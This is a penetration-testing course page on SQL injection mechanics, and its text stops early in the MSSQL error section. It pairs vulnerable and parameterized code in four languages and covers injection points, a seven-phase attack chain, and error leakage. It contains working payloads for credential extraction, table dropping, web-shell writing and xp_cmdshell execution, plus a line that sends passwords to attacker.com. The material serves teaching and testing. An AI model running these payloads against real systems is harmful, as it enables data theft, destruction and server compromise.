Domain 2Web App AttacksCORE

How SQL Injection Works

Deep dive into the mechanics of SQL Injection, including how vulnerable queries are constructed, injection point identification, the SQL injection kill chain, and error-based information leakage across different databases.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#SQLi#Injection Mechanics#Query Construction#Vulnerable Patterns

How SQL Injection Works

Table of Contents

  1. Core Mechanics: How Applications Build SQL Queries
  2. The Vulnerable Pattern: Code Examples
  3. Step-by-Step: How a Single Quote Breaks a Query
  4. Injection Point Types
  5. The SQL Injection Kill Chain
  6. Why the Database Cannot Distinguish Code from Data
  7. Error-Based Information Leakage
  8. Comment Techniques Across Databases
  9. String vs Numeric Context Injection
  10. Practical Lab Walkthrough

1. Core Mechanics: How Applications Build SQL Queries

The Fundamental Problem

SQL injection exists because applications construct SQL queries by concatenating strings, where user-supplied input becomes part of the SQL command text sent to the database engine. The database receives a single string and has no way to know which parts were intended as code and which were intended as data.

The Query Construction Pipeline

┌─────────────┐     ┌──────────────┐     ┌─────────────────┐     ┌────────────┐
│  User Input  │────▶│  Application  │────▶│  Query Builder   │────▶│  Database  │
│  (HTTP Req)  │     │  (PHP/Python) │     │  (String Concat) │     │  Engine    │
└─────────────┘     └──────────────┘     └─────────────────┘     └────────────┘
     "admin"              receives              "SELECT *              parses and
                                       FROM users               executes as one
                                       WHERE user='admin'"       SQL statement

How String Concatenation Creates Vulnerability

The application takes a template query and inserts user input directly:

Template:  "SELECT * FROM users WHERE username = '" + userInput + "'"
Input:     admin
Result:    SELECT * FROM users WHERE username = 'admin'     ← Normal, works fine

Input:     admin' OR '1'='1
Result:    SELECT * FROM users WHERE username = 'admin' OR '1'='1'  ← INJECTED!

The critical insight: the database sees only the final string. It does not know that 'admin' was supposed to be a literal value and '1'='1' was injected by an attacker.

The Two Approaches to Query Building

Approach Method Safe? Example
String Concatenation query = "SELECT * FROM users WHERE id = " + userId ❌ VULNERABLE Direct injection of raw input
Parameterized Queries cursor.execute("SELECT * FROM users WHERE id = ?", (userId,)) ✅ SAFE Input treated as data, not code

Why String Concatenation Happens

Despite being dangerous, string concatenation is common because:

  1. Legacy codebases — older applications were written before parameterized queries were widely adopted
  2. Dynamic queries — developers building queries with variable column names, table names, or ORDER BY clauses (which can’t always use parameters)
  3. Lack of awareness — developers who don’t understand the security implications
  4. Convenience — it’s faster to write "...WHERE id=" + id than to set up proper parameterization
  5. ORM misconfiguration — even ORM frameworks can be bypassed with raw query methods

2. The Vulnerable Pattern: Code Examples

PHP — Vulnerable vs Safe

❌ VULNERABLE (Direct Concatenation)

<?php
// vulnerable_search.php
$servername = "localhost";
$username = "root";
$password = "password";
$dbname = "webapp";

$conn = new mysqli($servername, $username, $password, $dbname);

// DANGEROUS: Direct string concatenation with user input
$searchTerm = $_GET['q'];  // User controls this directly

$query = "SELECT * FROM products WHERE name LIKE '%" . $searchTerm . "%'";
$result = $conn->query($query);

while ($row = $result->fetch_assoc()) {
    echo "<h3>" . $row['name'] . "</h3>";
}
?>

Attack against this code:

URL: http://target.com/vulnerable_search.php?q=' UNION SELECT username,password,3 FROM users--

The constructed query becomes:

SELECT * FROM products WHERE name LIKE '%' UNION SELECT username,password,3 FROM users--%'

✅ SAFE (Prepared Statements)

<?php
// safe_search.php
$conn = new mysqli($servername, $username, $password, $dbname);

$searchTerm = $_GET['q'];

// SAFE: Using prepared statements with parameterized queries
$stmt = $conn->prepare("SELECT * FROM products WHERE name LIKE ?");
$wildcardTerm = "%" . $searchTerm . "%";
$stmt->bind_param("s", $wildcardTerm);
$stmt->execute();
$result = $stmt->get_result();

while ($row = $result->fetch_assoc()) {
    echo "<h3>" . htmlspecialchars($row['name']) . "</h3>";
}
$stmt->close();
?>

Python — Vulnerable vs Safe

❌ VULNERABLE

# vulnerable_login.py
import mysql.connector

def login(username, password):
    conn = mysql.connector.connect(
        host="localhost",
        user="root",
        password="password",
        database="webapp"
    )
    cursor = conn.cursor()

    # DANGEROUS: f-string / format string concatenation
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    cursor.execute(query)
    result = cursor.fetchone()

    if result:
        return True  # Login successful
    return False

Attack:

# Attacker sends:
username = "admin' OR '1'='1' --"
password = "anything"

# Constructed query:
# SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = 'anything'
# The -- comments out the password check, and '1'='1' is always true

✅ SAFE

# safe_login.py
import mysql.connector

def login(username, password):
    conn = mysql.connector.connect(
        host="localhost",
        user="root",
        password="password",
        database="webapp"
    )
    cursor = conn.cursor()

    # SAFE: Parameterized query — the driver handles escaping
    query = "SELECT * FROM users WHERE username = %s AND password = %s"
    cursor.execute(query, (username, password))
    result = cursor.fetchone()

    if result:
        return True
    return False

Java — Vulnerable vs Safe

❌ VULNERABLE

// VulnerableServlet.java
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class VulnerableServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        String productId = request.getParameter("id");

        Connection conn = DriverManager.getConnection(
            "jdbc:mysql://localhost:3306/webapp", "root", "password");

        // DANGEROUS: String concatenation
        Statement stmt = conn.createStatement();
        String query = "SELECT * FROM products WHERE id = " + productId;
        ResultSet rs = stmt.executeQuery(query);

        while (rs.next()) {
            response.getWriter().write(rs.getString("name"));
        }
    }
}

✅ SAFE

// SafeServlet.java
public class SafeServlet extends HttpServlet {
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        String productId = request.getParameter("id");

        Connection conn = DriverManager.getConnection(
            "jdbc:mysql://localhost:3306/webapp", "root", "password");

        // SAFE: PreparedStatement with parameter binding
        String query = "SELECT * FROM products WHERE id = ?";
        PreparedStatement pstmt = conn.prepareStatement(query);
        pstmt.setString(1, productId);
        ResultSet rs = pstmt.executeQuery();

        while (rs.next()) {
            response.getWriter().write(rs.getString("name"));
        }
    }
}

Node.js — Vulnerable vs Safe

❌ VULNERABLE

// vulnerable_api.js
const express = require('express');
const mysql = require('mysql');
const app = express();

const connection = mysql.createConnection({
    host: 'localhost',
    user: 'root',
    password: 'password',
    database: 'webapp'
});

app.get('/api/user', (req, res) => {
    const userId = req.query.id;

    // DANGEROUS: Template literal concatenation
    const query = `SELECT * FROM users WHERE id = ${userId}`;
    connection.query(query, (err, results) => {
        if (err) throw err;
        res.json(results);
    });
});

✅ SAFE

// safe_api.js
app.get('/api/user', (req, res) => {
    const userId = req.query.id;

    // SAFE: Parameterized query with placeholder
    const query = 'SELECT * FROM users WHERE id = ?';
    connection.query(query, [userId], (err, results) => {
        if (err) throw err;
        res.json(results);
    });
});

Common Vulnerable Patterns Summary

Language Vulnerable Pattern Safe Pattern
PHP "$query = \"...WHERE x='\" . $input . \"'\";" $stmt = $conn->prepare("...WHERE x=?"); $stmt->bind_param("s", $input);
Python (MySQL) f"SELECT * FROM t WHERE x = '{input}'" cursor.execute("SELECT * FROM t WHERE x = %s", (input,))
Python (PostgreSQL) f"SELECT * FROM t WHERE x = '{input}'" cursor.execute("SELECT * FROM t WHERE x = %s", (input,))
Java "SELECT * FROM t WHERE x = " + input PreparedStatement: "SELECT * FROM t WHERE x = ?"
Node.js `SELECT * FROM t WHERE x = ${input}` connection.query("SELECT * FROM t WHERE x = ?", [input])
C# "SELECT * FROM t WHERE x = " + input SqlCommand with SqlParameter

3. Step-by-Step: How a Single Quote Breaks a Query

The Anatomy of Query Breaking

This is the most fundamental concept in SQL injection. Understanding exactly how a single ' character breaks a query is essential.

Step 1: The Intended Query

The developer writes a login query:

SELECT * FROM users WHERE username = 'INPUT_HERE' AND password = 'PASS_HERE'

When a legitimate user enters admin as username and secret123 as password:

SELECT * FROM users WHERE username = 'admin' AND password = 'secret123'

The database parses this as:

SELECT * FROM users
WHERE
    username = 'admin'          ← string literal comparison
    AND
    password = 'secret123'      ← string literal comparison

Step 2: The Attacker Injects a Single Quote

The attacker enters admin' (note the trailing single quote) as the username:

SELECT * FROM users WHERE username = 'admin'' AND password = 'secret123'

The database now sees:

username = 'admin'   ← this string is now CLOSED
'                    ← this orphaned quote causes a SYNTAX ERROR
AND password = 'secret123'

Result: Database returns an error like:

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near '' AND password
= 'secret123'' at line 1

Step 3: What the Error Tells Us

The error confirms:

  1. ✅ The input reaches the database — it’s not being sanitized
  2. ✅ The input is inside a string context — the quote broke the string literal
  3. ✅ The application passes database errors to the user — error-based extraction is possible

Step 4: Closing and Commenting Out

The attacker now knows the input is in a string context. They can close the string and comment out the rest:

Input: admin' --

Constructed query:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'secret123'

The database parses:

username = 'admin'   ← valid string comparison
--                   ← everything after this is a COMMENT, ignored

Step 5: Adding a Boolean Condition

Now the attacker can inject arbitrary logic:

Input: admin' OR '1'='1

Constructed query:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'secret123'

Due to operator precedence (AND before OR):

username = 'admin'
OR
('1'='1' AND password = 'secret123')

Since '1'='1' is always TRUE, but AND has higher precedence, this may not work as expected. The attacker uses parentheses or comments:

Input: admin' OR '1'='1' --

Constructed query:

SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = 'secret123'

Now:

username = 'admin'    ← FALSE (if no user named admin, or doesn't matter)
OR
'1'='1'               ← ALWAYS TRUE
--                    ← rest is commented out

Result: Returns all rows from the users table. Authentication bypassed.

Visual Breakdown of Quote Manipulation

Original Query Template:
┌─────────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username = 'USER_INPUT' AND ...       │
└─────────────────────────────────────────────────────────────────┘

Normal Input "admin":
┌─────────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username = 'admin' AND ...            │
│                                    ↑     ↑                      │
│                              String opens  String closes        │
└─────────────────────────────────────────────────────────────────┘

Injected Input "admin' OR '1'='1' --":
┌─────────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username = 'admin' OR '1'='1' -- ...  │
│                                    ↑     ↑     ↑     ↑          │
│                              Closes   Opens  Closes Opens       │
│                              original injected injected comment │
└─────────────────────────────────────────────────────────────────┘

What the Database Sees:
┌─────────────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE                                       │
│     username = 'admin'           ← Condition 1: check username    │
│     OR                                                                    │
│     '1' = '1'                  ← Condition 2: ALWAYS TRUE       │
│     -- ...                              ← Comment: ignore rest   │
└─────────────────────────────────────────────────────────────────┘

4. Injection Point Types

SQL injection can occur wherever user input reaches a database query. Below are all common injection points with detailed examples.

4.1 GET Parameters

The most common injection point. User input comes from URL query strings.

Vulnerable URL:
http://target.com/products.php?category=electronics&sort=price

The application builds:
SELECT * FROM products
WHERE category = '$category'
ORDER BY $sort

Injection in Value Parameter (String Context)

http://target.com/products.php?category=' UNION SELECT username,password,3 FROM users--

Constructed query:
SELECT * FROM products
WHERE category = '' UNION SELECT username,password,3 FROM users--'
ORDER BY price

Injection in Sort Parameter (Non-Quoted Context)

http://target.com/products.php?category=electronics&sort=price; DROP TABLE users--

Constructed query:
SELECT * FROM products
WHERE category = 'electronics'
ORDER BY price; DROP TABLE users--

Key difference: The sort parameter is NOT wrapped in quotes, so injection syntax differs — no need to close a string, can inject directly.

4.2 POST Parameters

User input from HTML form submissions. Functionally identical to GET but hidden from the URL.

Example: Login Form

<!-- login.html -->
<form action="/login.php" method="POST">
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <button type="submit">Login</button>
</form>
// login.php — VULNERABLE
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = MD5('$password')";

Attack via POST

POST /login.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

username=admin'%20OR%20'1'%3D'1'%20--&password=anything

Decoded body:

username=admin' OR '1'='1' --&password=anything

Using curl for POST Injection

# Test for SQLi in POST parameter
curl -X POST http://target.com/login.php \
  -d "username=admin'%20OR%20'1'%3D'1'%20--&password=x"

# UNION-based extraction via POST
curl -X POST http://target.com/login.php \
  -d "username=' UNION SELECT table_name,2 FROM information_schema.tables--&password=x"

4.3 HTTP Headers

Applications sometimes use HTTP header values in database queries. These are less commonly tested but equally dangerous.

// session_handler.php — VULNERABLE
$sessionId = $_COOKIE['session_id'];
$query = "SELECT * FROM sessions WHERE session_id = '$sessionId'";

Attack:

GET /dashboard.php HTTP/1.1
Host: target.com
Cookie: session_id=' UNION SELECT username,password,3 FROM users--

User-Agent Injection

// analytics.php — VULNERABLE
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$query = "INSERT INTO analytics (user_agent, ip, timestamp) VALUES ('$userAgent', '$ip', NOW())";

Attack:

GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0' UNION SELECT username,password,3 FROM users--

Referer Injection

// referrer_tracker.php — VULNERABLE
$referer = $_SERVER['HTTP_REFERER'];
$query = "INSERT INTO visits (referer, visit_time) VALUES ('$referer', NOW())";

Attack:

GET /page.php HTTP/1.1
Host: target.com
Referer: http://evil.com/' UNION SELECT username,password,3 FROM users--

X-Forwarded-For Injection

// geo_tracker.php — VULNERABLE
$clientIP = $_SERVER['HTTP_X_FORWARDED_FOR'];
$query = "INSERT INTO access_log (client_ip, access_time) VALUES ('$clientIP', NOW())";

Attack:

GET / HTTP/1.1
Host: target.com
X-Forwarded-For: 192.168.1.1' UNION SELECT username,password,3 FROM users--

Header Injection Testing Summary

Header Common Use Case Injection Risk
Cookie Session management, preferences HIGH — often used in lookups
User-Agent Analytics, browser detection MEDIUM — often INSERT-only (blind)
Referer Traffic analytics, anti-hotlinking MEDIUM — often INSERT-only (blind)
X-Forwarded-For IP logging, geo-restriction MEDIUM — often INSERT-only (blind)
Authorization API auth, Bearer tokens LOW-MEDIUM — depends on parsing
X-Custom-Header Application-specific logic Varies — test all custom headers

4.4 URL Path Segments

RESTful APIs and MVC frameworks often extract parameters from the URL path.

Example: REST API

URL: /api/users/42
// router.php — VULNERABLE
$userId = $_GET['path'][1];  // Extracts "42" from /api/users/42
$query = "SELECT * FROM users WHERE id = $userId";

Attack:

/api/users/42 UNION SELECT username,password,3,4,5 FROM users

Example: MVC Framework

URL: /products/view/laptop
// products_controller.php — VULNERABLE
$productName = $route->param('name');  // "laptop"
$query = "SELECT * FROM products WHERE name = '$productName'";

Attack:

/products/view/' UNION SELECT username,password,'x' FROM users--

4.5 File Upload Metadata

Applications that store file metadata in databases can be vulnerable through filename, MIME type, or other metadata fields.

Example: File Upload Handler

// upload_handler.php — VULNERABLE
$fileName = $_FILES['upload']['name'];
$fileType = $_FILES['upload']['type'];
$fileSize = $_FILES['upload']['size'];

$query = "INSERT INTO uploads (filename, filetype, filesize, upload_time)
          VALUES ('$fileName', '$fileType', $fileSize, NOW())";

Attack via filename:

Upload a file named: test'; DROP TABLE uploads;--

Constructed query:

INSERT INTO uploads (filename, filetype, filesize, upload_time)
VALUES ('test'; DROP TABLE uploads;--', 'image/jpeg', 12345, NOW())

Attack via MIME type (if used in a SELECT):

// file_search.php — VULNERABLE
$searchType = $_GET['type'];
$query = "SELECT * FROM uploads WHERE filetype = '$searchType'";
GET /file_search.php?type=image/jpeg' UNION SELECT username,password,3,4,5 FROM users--

Injection Point Detection Checklist

┌──────────────────────────────────────────────────────────────────┐
│              SQL INJECTION POINT DETECTION CHECKLIST              │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  GET Parameters:                                                 │
│  □ All query string parameters (?param=value)                    │
│  □ Test each parameter independently                             │
│                                                                  │
│  POST Parameters:                                                │
│  □ Form fields (application/x-www-form-urlencoded)               │
│  □ JSON body fields (application/json)                           │
│  □ XML body fields (application/xml)                             │
│  □ Multipart form data                                           │
│                                                                  │
│  HTTP Headers:                                                   │
│  □ Cookie values                                                 │
│  □ User-Agent                                                    │
│  □ Referer                                                       │
│  □ X-Forwarded-For                                               │
│  □ Custom headers (X-*, Authorization, etc.)                     │
│                                                                  │
│  URL Path:                                                       │
│  □ Path segments (/api/resource/ID)                              │
│  □ File extensions (/page.php vs /page.html)                     │
│                                                                  │
│  Other:                                                          │
│  □ File upload names and metadata                                │
│  □ SOAP/XML parameters                                           │
│  □ GraphQL query variables                                       │
│  □ API key / token values (if stored in DB)                      │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

5. The SQL Injection Kill Chain

The SQL injection attack follows a structured lifecycle. Understanding each phase helps both in executing attacks during assessments and in understanding what defenses to implement.

Phase Overview

┌─────┐    ┌─────┐    ┌─────┐    ┌─────┐    ┌─────┐    ┌─────┐    ┌─────┐
│  1  │───▶│  2  │───▶│  3  │───▶│  4  │───▶│  5  │───▶│  6  │───▶│  7  │
│Recon│───▶|Probe│───▶|Enum │───▶|Data │───▶|OS   │───▶|Priv │───▶|Pivot│
│     │    │     │    │     │    │Extr │    │Cmd  │    │Esc  │    │     │
└─────┘    └─────┘    └─────┘    └─────┘    └─────┘    └─────┘    └─────┘

Phase 1: Reconnaissance — Finding Injection Points

Goal: Identify all user-controllable input vectors that may reach the database.

Techniques:

  • Map all application endpoints (GET, POST, PUT, DELETE)
  • Identify all parameters in each endpoint
  • Note which parameters appear in database-related functionality (search, login, profile, filters)
  • Use Burp Suite’s Site Map to catalog all endpoints

Tools:

# Enumerate endpoints
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# Map parameters
param Miner (Burp extension)
Arjun: arjun -u http://target.com/page.php

OSCP Tip: Start with obvious parameters — search boxes, login forms, ID parameters in URLs. Don’t overlook hidden form fields and HTTP headers.

Phase 2: Probing — Confirming Vulnerability

Goal: Determine if an input point is actually SQL-injectable.

Step 2a: Single Quote Test

Send a single ' character to each parameter:

http://target.com/products.php?id=1'

Response Analysis:

Response Type What It Means Next Step
Database error message ✅ Confirmed SQLi, error-based Extract data via errors
Different output than normal ✅ Confirmed SQLi, boolean-based Use boolean blind techniques
Delayed response (if using time payload) ✅ Confirmed SQLi, time-based Use time-based blind techniques
Same output, no error ❌ May not be vulnerable, or errors suppressed Try other techniques
Input sanitized/escaped Input is being filtered Try encoding/bypass techniques

Step 2b: Boolean Test

http://target.com/products.php?id=1 AND 1=1    → Normal output?
http://target.com/products.php?id=1 AND 1=2    → Different output?

If the outputs differ, the parameter is boolean-injectable.

Step 2c: Time-Based Test

MySQL:     http://target.com/products.php?id=1 AND SLEEP(5)
MSSQL:     http://target.com/products.php?id=1; WAITFOR DELAY '0:0:5'
PostgreSQL:http://target.com/products.php?id=1 AND pg_sleep(5)

If the response is delayed by ~5 seconds, time-based SQLi is confirmed.

Phase 3: Enumeration — Understanding the Database

Goal: Identify the database type, version, structure, and available data.

Step 3a: Identify Database Type and Version

-- MySQL
SELECT VERSION()
SELECT @@version

-- MSSQL
SELECT @@version

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$instance

Via UNION injection:

http://target.com/products.php?id=1 UNION SELECT VERSION(),2,3--

Step 3b: Enumerate Databases

-- MySQL
SELECT schema_name FROM information_schema.schemata

-- MSSQL
SELECT name FROM master..sysdatabases
SELECT name FROM sys.databases

-- PostgreSQL
SELECT datname FROM pg_database

Step 3c: Enumerate Tables

-- MySQL
SELECT table_name FROM information_schema.tables
WHERE table_schema = 'target_database'

-- MSSQL
SELECT table_name FROM information_schema.tables

-- PostgreSQL
SELECT table_name FROM information_schema.tables
WHERE table_schema = 'public'

Step 3d: Enumerate Columns

-- MySQL
SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users'

-- MSSQL
SELECT column_name, data_type FROM information_schema.columns
WHERE table_name = 'users'

Step 3e: Determine Column Count (for UNION attacks)

Use ORDER BY to find the number of columns:

http://target.com/products.php?id=1 ORDER BY 1--   → Works
http://target.com/products.php?id=1 ORDER BY 2--   → Works
http://target.com/products.php?id=1 ORDER BY 3--   → Works
http://target.com/products.php?id=1 ORDER BY 4--   → ERROR! (only 3 columns)

Now you know the query returns 3 columns, so your UNION must also return 3 columns:

http://target.com/products.php?id=1 UNION SELECT 1,2,3--

Phase 4: Data Extraction — Getting the Data

Goal: Extract sensitive data from the database.

Method 1: UNION-Based Extraction (Preferred)

-- Extract usernames and passwords
UNION SELECT username, password, 3 FROM users

-- Extract all table names
UNION SELECT table_name, 2, 3 FROM information_schema.tables
WHERE table_schema = database()

-- Extract column names
UNION SELECT column_name, 2, 3 FROM information_schema.columns
WHERE table_name = 'users'

Method 2: Error-Based Extraction

-- MySQL: Extract via GROUP BY error
AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

-- MySQL: Extract via XML handler
AND extractvalue(1, CONCAT(0x7e, (SELECT version())))

Method 3: Boolean Blind Extraction (Character by Character)

-- Check if first character of username is 'a'
AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),1,1)) = 97

-- Check if database name starts with 'w'
AND SUBSTRING((SELECT schema_name FROM information_schema.schemata LIMIT 0,1),1,1) = 'w'

Method 4: Time-Based Blind Extraction

-- MySQL: If first char of version is '5', sleep 5 seconds
AND IF(ASCII(SUBSTRING((SELECT VERSION()),1,1)) = 53, SLEEP(5), 0)

-- MSSQL: If first char is '1', delay 5 seconds
IF(ASCII(SUBSTRING((SELECT @@version),1,1)) = 49) WAITFOR DELAY '0:0:5'

Phase 5: OS Command Execution

Goal: Execute operating system commands through the database.

MySQL — INTO OUTFILE / LOAD_FILE:

-- Write a web shell
UNION SELECT '<?php system($_GET["cmd"]); ?>', 2, 3
INTO OUTFILE '/var/www/html/shell.php'

-- Read a file
AND 1=LOAD_FILE('/etc/passwd')

MySQL — UDF (User-Defined Functions):

-- Requires FILE privilege and knowledge of web path
-- Write UDF DLL to plugin directory
-- Create function that calls system()
-- Execute: SELECT sys_exec('whoami')

MSSQL — xp_cmdshell:

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Execute command
EXEC xp_cmdshell 'whoami'

MSSQL — Alternative: OLE Automation:

EXEC sp_OACreate 'WScript.Shell', @shell OUT
EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami > c:\result.txt'

PostgreSQL — COPY TO/FROM PROGRAM:

COPY (SELECT 'id') TO PROGRAM 'id > /tmp/pg_result.txt'

Oracle — Java-based execution:

-- Create Java source
CALL dbms_java.grant_permission('USER', 'SYS:java.io.FilePermission', '<<ALL_FILES>>', 'read');

-- Use utl_http for outbound connections
SELECT utl_http.request('http://attacker.com/?data='||password) FROM users

Phase 6: Privilege Escalation

Goal: Escalate privileges within the database or to the OS level.

Database-Level Escalation:

-- Check current user privileges
SELECT user(), current_user(), session_user()

-- MySQL: Check for FILE privilege
SELECT @@global.secure_file_priv

-- MySQL: Check for SUPER privilege (needed for UDF)
SHOW GRANTS FOR CURRENT_USER

-- MSSQL: Check if sa or sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin')
SELECT IS_MEMBER('db_owner')

OS-Level Escalation:

Database User OS User Escalation Path
MySQL running as root root Direct root access via UDF
MySQL running as mysql mysql Limited, need to pivot
MSSQL running as NT AUTHORITY\SYSTEM SYSTEM Full system access via xp_cmdshell
MSSQL running as service account Service account Limited, depends on service permissions
PostgreSQL running as postgres postgres Can write to PG data directory
Oracle running as oracle oracle Limited, depends on config

Phase 7: Pivoting and Lateral Movement

Goal: Use the database as a pivot point to access other systems.

MySQL — Outbound Connections:

-- MySQL can connect to other MySQL servers
CREATE TABLE hack (cmd text);
SELECT * FROM hack;
-- Use federated engine to connect to internal DB
CREATE SERVER internal_db
FOREIGN DATA WRAPPER mysql
OPTIONS (HOST '10.0.0.5', DATABASE 'internal');

CREATE TABLE remote_users (
    username VARCHAR(50),
    password VARCHAR(50)
) ENGINE=FEDERATED
CONNECTION='mysql://user:pass@10.0.0.5/internal/users';

MSSQL — Linked Servers:

-- Check for linked servers
SELECT * FROM master..sysservers

-- Query linked server
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT * FROM target_db.dbo.users')

-- Execute commands on linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER]

PostgreSQL — dblink:

-- Connect to another PostgreSQL server
SELECT dblink_connect('host=10.0.0.5 dbname=target user=postgres password=pass');

-- Query remote database
SELECT * FROM dblink('host=10.0.0.5 dbname=target',
    'SELECT username, password FROM users')
AS t(username text, password text);

Kill Chain Decision Tree

Is the parameter injectable?
├── YES → Are errors shown?
│         ├── YES → Error-based extraction (fastest)
│         └── NO  → Does output change with boolean?
│                   ├── YES → Boolean blind extraction
│                   └── NO  → Does response delay?
│                             ├── YES → Time-based blind extraction
│                             └── NO  → Try other parameters/encoding
├── YES → Can we use UNION?
│         ├── YES → UNION-based extraction (most versatile)
│         └── NO  → Stackable queries? (INSERT/UPDATE/DELETE context)
│                   ├── YES → Multi-statement injection
│                   └── NO  → Blind techniques only
└── NO  → Try encoding, bypass filters, test other parameters

6. Why the Database Cannot Distinguish Code from Data

The Core Problem: Single-Stage Parsing

SQL databases receive queries as plain text strings. The database engine performs a single parsing pass over this string. It has no metadata about which parts of the string came from the application code and which came from user input.

How the Database Parser Works

Input String: "SELECT * FROM users WHERE username = 'admin' OR '1'='1'"

Database Parser Process:
═══════════════════════════════════════════════════════════════════

Step 1: Tokenization
┌──────────┬──────────┬───────┬────────┬──────┬──────┬────┬─────┬────┬─────┬────┐
│ SELECT   │ *        │ FROM  │ users  │ WHERE│ username │ = │ 'admin' │ OR │ '1' │ =  │ '1'│
│ KEYWORD  │ SYMBOL   │ KEYWORD│ IDENT  │ KEYWORD │ IDENT    │ OP │ STRING  │ OP │ STRING│ OP │STR │
└──────────┴──────────┴───────┴────────┴──────┴────────┴────┴───────┴────┴─────┴────┘

Step 2: Syntax Tree Construction
                    SELECT
                      │
                      *
                      │
                    FROM
                      │
                    users
                      │
                   WHERE
                      │
            ┌─────────┴─────────┐
            OR                  │
          ┌──┴──┐           ┌───┴───┐
         =      =          username  =
        ┌┴┐    ┌┴┐          │       │
       '1''1' '1''1'      'admin'  (implicit)

Step 3: Execution
→ Evaluate: username = 'admin' → FALSE (no match)
→ Evaluate: '1' = '1' → TRUE
→ Result: Return all rows (OR condition satisfied)
═══════════════════════════════════════════════════════════════════

Why Parameterized Queries Fix This

With parameterized queries, the process is fundamentally different:

Application sends to database driver:
┌─────────────────────────────────────────────────────────────┐
│ Query Template:  "SELECT * FROM users WHERE username = ?"   │
│ Parameter Value:  "admin' OR '1'='1"                        │
└─────────────────────────────────────────────────────────────┘

Database Driver Process:
═══════════════════════════════════════════════════════════════

Step 1: Send query template to database for PREPARATION
→ Database parses and compiles: "SELECT * FROM users WHERE username = ?"
→ The ? is a PLACEHOLDER, not a value
→ Execution plan is created

Step 2: Send parameter value SEPARATELY
→ Database receives: "admin' OR '1'='1" as a DATA VALUE
→ The value is ESCAPED and treated as a literal string
→ The query structure CANNOT change

Step 3: Execution
→ Evaluate: username = 'admin\' OR \'1\'=\'1'
→ The entire string is searched as a literal value
→ No user named "admin' OR '1'='1" exists
→ Result: No rows returned (attack fails)
═══════════════════════════════════════════════════════════════

The Key Difference

Aspect String Concatenation Parameterized Query
When parsing happens After concatenation — user input is part of the SQL text Before parameter binding — structure is fixed
User input role Becomes part of SQL code Treated as data value only
Quote handling User’s ' closes the string literal Driver escapes ' as \'
Can user change query logic? YES — can add OR, UNION, – NO — structure is pre-compiled
Database sees One string, no distinction Two separate entities (plan + data)

Analogy: The Restaurant Order

Think of it like ordering at a restaurant:

String Concatenation (Vulnerable):

You tell the waiter: “I’d like a burger” The waiter tells the cook: “Customer wants a burger” But if you say: “I’d like a burger, and also give me the chef’s password” The cook hears: “Customer wants a burger, and also give me the chef’s password” The cook might actually comply because your words became part of the instruction

Parameterized Query (Safe):

You tell the waiter: “I’d like a [burger, and also give me the chef’s password]” The waiter tells the cook: “Customer wants item: [burger, and also give me the chef’s password]” The cook looks for a menu item literally named “burger, and also give me the chef’s password” No such item exists, so nothing happens


7. Error-Based Information Leakage

Database error messages are a goldmine for attackers. They reveal database type, version, table names, column names, and sometimes even data values.

7.1 MySQL Error Signatures

Syntax Error (Quote Mismatch)

Input: '
Error: You have an error in your SQL syntax; check the manual that corresponds
to your MySQL server version for the right syntax to use near '' at line 1

Reveals: MySQL database, string context, exact position of the error

Column Count Mismatch (UNION)

Input: 1 UNION SELECT 1,2--
Error: The used SELECT statements have a different number of columns

Reveals: UNION is supported, but column count is wrong — tells you to adjust

Unknown Column

Input: 1 AND nonexistcol=1
Error: Unknown column 'nonexistcol' in 'where clause'

Reveals: MySQL, the column doesn’t exist, confirms injection point

Duplicate Entry

Input: Crafted to cause duplicate key
Error: Duplicate entry 'admin' for key 'username'

Reveals: Actual data values from the database

MySQL Version-Specific Errors

MySQL Version Error Signature
5.0-5.1 “MySQL server version for the right syntax to use near…”
5.5+ Same format, but functions like extractvalue available
5.7+ secure_file_priv restricts file operations
8.0+ Different authentication, caching_sha2_password

MySQL Error-Based Data Extraction Functions

-- extractvalue (XML parsing error — returns up to 32 chars)
AND extractvalue(1, CONCAT(0x7e, (SELECT version())))
Error: XPATH syntax error: '~5.7.32-0ubuntu0.18.04.1'

-- updatexml (same mechanism)
AND updatexml(1, CONCAT(0x7e, (SELECT version())), 1)
Error: XPATH syntax error: '~5.7.32-0ubuntu0.18.04.1'

-- Error via duplicate key in derived table
AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(),
FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
Error: Duplicate entry '5.7.32...1' for key 'group_key'

7.2 MSSQL Error Signatures

Syntax Error

Input: '
